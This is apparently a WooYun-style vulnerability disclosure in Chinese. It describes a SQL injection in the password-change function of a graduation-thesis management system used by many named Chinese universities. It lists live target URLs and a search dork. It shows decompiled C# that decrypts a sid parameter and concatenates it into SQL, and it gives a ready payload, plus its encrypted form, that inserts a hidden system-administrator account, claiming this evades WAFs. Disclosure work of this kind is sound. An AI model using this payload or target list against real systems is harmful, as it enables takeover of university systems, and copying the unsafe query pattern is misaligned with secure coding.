### 简要描述:
无视waf,无视防火墙,随意执行sql语句
### 详细说明:
南京先极科技有限公司开发的一套毕业设计(论文)智能管理系统
官网:http://www.changedu.com/
谷歌搜索 intitle:毕业设计(论文)智能管理系统
```
枚举一些影响案例:
http://bysj.jwc.sjtu.edu.cn/ 上海交通大学毕业设计(论文)智能管理系统
http://202.119.81.120:8080/ 南京理工大学毕业设计(论文)管理系统
http://bylw.hhu.edu.cn/ 河海大学毕业设计(论文)智能管理系统
http://jw1.jiangnan.edu.cn/bysj/ 江南大学毕业设计(论文)智能管理系统
http://bysj.njfu.edu.cn/ 南京林业大学毕业设计(论文)系统
http://sbc.nuist.edu.cn/bysj/ 南京信息工程大学毕业设计(论文)智能管理系统
http://bysj.hhuc.edu.cn/ 河海大学毕业设计(论文)智能管理系统
http://202.119.248.234/gydlw/ 南京工业大学毕业论文(设计)智能管理系统
http://bysj.hhuwtian.edu.cn/ 河海大学文天学院毕业设计(论文)智能管理系统
http://sy.cxxy.seu.edu.cn/bylw/index.aspx 东南大学成贤学院毕业设计(论文)智能管理系统
http://202.119.189.239:8015/ 中国药科大学毕业设计(论文)智能管理系统
http://bysj.just.edu.cn/ 江苏大学毕业设计(论文)智能管理系统
http://219.219.180.96/bylw/ 南京财经大学毕业论文(设计)智能管理系统
```
需要一个普通账号登陆权限,登陆后修改密码功能处存在缺陷,导致SQL注入产生
#1,看下密码修改部分
```
...
class2.RunSQL("update T_User set Pwd='" + class2.HTMLEncode(this.QuePwd.Text) + "' where userid='" + class2.getUSERuserid(base.Request["sid"], "UserId") + "'");
...
```
读取sid参数,调用getUSERuserid()函数来获取用户userid,跟进该函数
```
public string getUSERuserid(string no, string GetWhat)
{
DataRow dataRow = null;
dataRow = this.db.GetDataRow("select * from t_user where no='" + this.GETJiMiCODE(no) + "'");
if (dataRow != null)
{
......
```
在这里将获取到的sid参数进行解密,解密函数GETJiMiCODE();继续跟进
```
public string GETJiMiCODE(string userid)
{
return this.Decrypt(userid, "****");
}
/////////////////////////
看下Decrypt函数
public string Decrypt(string pToDecrypt, string sKey)
{
DESCryptoServiceProvider provider = new DESCryptoServiceProvider();
byte[] buffer = new byte[pToDecrypt.Length / 2];
for (int i = 0; i < (pToDecrypt.Length / 2); i++)
{
int num2 = Convert.ToInt32(pToDecrypt.Substring(i * 2, 2), 0x10);
buffer[i] = (byte) num2;
}
provider.Key = Encoding.ASCII.GetBytes(sKey);
provider.IV = Encoding.ASCII.GetBytes(sKey);
MemoryStream stream = new MemoryStream();
CryptoStream stream2 = new CryptoStream(stream, provider.CreateDecryptor(), CryptoStreamMode.Write);
stream2.Write(buffer, 0, buffer.Length);
stream2.FlushFinalBlock();
new StringBuilder();
return Encoding.Default.GetString(stream.ToArray());
}
```
sid解密流程:
sid--->getUSERuserid()--->GETJiMiCODE()--->Decrypt()--->userid--->sql执行
由此可以看出sid进过解密后直接带入了sql语句执行,SQL注入因此产生;且由于sid是加密的,所以无视waf,无视防火墙
### 漏洞证明:
利用方法:
#1,普通账号登陆系统,查看sid
[<img src="https://images.seebug.org/upload/201411/13025906dcc814b819c5e42a5ddc9bbe01b34c07.jpg" alt="1331.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/13025906dcc814b819c5e42a5ddc9bbe01b34c07.jpg)
解密sid为27502
[<img src="https://images.seebug.org/upload/201411/13030208504a2299a1f47f5e9a9ecf11deb2fe8e.jpg" alt="t1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/13030208504a2299a1f47f5e9a9ecf11deb2fe8e.jpg)
#2,构造sid,并进行加密
```
sid:27502';insert into t_user (UserId,UserName,Role,Pwd,Flag) values ('wooyun','wooyun','系统管理员','six-door','1');--
```
该sql语句若成功执行,将增加一个系统管理员用户
加密后sid
```
2215B221514B854BCDFD594C564EC5F988FA5362CE691B3ABA261280D6B24359C33426882D7661D26708625D1D76F291CD515A9353607CB9E3E43F1844D2FFEA48F06F6F434EA2B3EF554DF1B44827EDCF234395A38DE79861A2657DC8531088319ADEAC7B44F17C2F12AE102F8208241FFD96450E420B17
```
#3,抓包,更改sid,sql语句成功执行
效果图如下:
[<img src="https://images.seebug.org/upload/201411/130308020e144390169c5ca5ca409cc5a1ee41cb.jpg" alt="t2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/130308020e144390169c5ca5ca409cc5a1ee41cb.jpg)
#4,再来一张南京工程学院的,以证明通用性
[<img src="https://images.seebug.org/upload/201411/13031308dd7c15a8fa757690ba11e9e1ecaa885c.jpg" alt="133.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/13031308dd7c15a8fa757690ba11e9e1ecaa885c.jpg)
暂无评论